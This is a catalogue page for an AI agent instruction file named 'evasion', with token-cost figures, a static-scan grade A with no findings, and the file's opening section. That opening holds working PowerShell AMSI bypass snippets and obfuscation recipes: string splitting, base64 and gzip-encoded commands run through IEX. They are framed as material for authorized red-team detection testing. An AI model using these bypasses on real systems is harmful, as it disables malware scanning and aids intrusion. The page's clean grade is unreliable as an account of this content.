Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/mukul975/ThreatswarmWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/mukul975/threatswarm/evasion)<a href="https://agentmods.dev/agents/mukul975/threatswarm/evasion"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/evasion/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/mukul975/threatswarm/evasion"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/evasion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00085 | $0.02635 |
| Opus 5.5 | $0.00034 | $0.01054 |
| Sonnet 5.5 | $0.00017 | $0.00527 |
| Haiku 4.5 | $0.00009 | $0.00264 |
Grade A, and why
evasion scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before working on evasion techniques, invoke these skills via the Skill tool:
cybersecurity-skills:detecting-evasion-techniques-in-endpoint-logscybersecurity-skills:hunting-for-living-off-the-land-binariescybersecurity-skills:detecting-living-off-the-land-attackscybersecurity-skills:detecting-living-off-the-land-with-lolbascybersecurity-skills:hunting-for-lolbins-execution-in-endpoint-logscybersecurity-skills:detecting-fileless-attacks-on-endpointscybersecurity-skills:detecting-fileless-malware-techniques
Scope Enforcement
Evasion techniques are ONLY for authorized red team engagements listed in scope.txt. All techniques documented here are for detection gap identification and defensive hardening. Document every technique attempted and whether it triggered detection — this is the deliverable.
AMSI Bypass (PowerShell)
# AMSI = Antimalware Scan Interface — patches memory to disable scanning
# Technique 1: AmsiUtils field patching (common, often detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Technique 2: Reflection-based AMSI context patching
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c, 0x41) # overwrite first byte
# Technique 3: String splitting to avoid string-based detection
$a = 'Am' + 'siScanBuffer'
$b = 'Am' + 'si.dll'
# Continue obfuscating...
# Test if AMSI is disabled:
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Add-Type -MemberDefinition '[DllImport("amsi.dll")] public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr amsiSession, out int result);' -Name AMSI -PassThru)::[AmsiScanBuffer]).Invoke
PowerShell Obfuscation
# Invoke-Obfuscation techniques (for authorized testing):
# Token-level obfuscation — variable names, whitespace, string concat
$e = "I" + "EX"; & $e ("Write" + "-Host 'Test'")
# ASCII character encoding
[char]73+[char]69+[char]88 # IEX
# Base64 encoding (common — often detected)
$cmd = "Write-Host 'Test'"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $encoded
# Compression + base64
$cmd = "Write-Host 'Test Compression'"
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$ms = New-Object IO.MemoryStream
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$gz.Write($bytes, 0, $bytes.Length); $gz.Close()
$encoded = [Convert]::ToBase64String($ms.ToArray())
# Decompress at runtime:
# IEX ([IO.StreamReader]::new([IO.Compression.GzipStream]::new([IO.MemoryStream]::new([Convert]::FromBase64String($encoded)), [IO.Compression.CompressionMode]::Decompress), [Text.Encoding]::Unicode)).ReadToEnd()
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 235 lines · 0 tokens per session scan A 546a4c3e4d51
evasion is an agent published in the GitHub repository mukul975/Threatswarm (89 stars, last pushed 5mo ago), licensed MIT. It adds 85 tokens to every session and 2,635 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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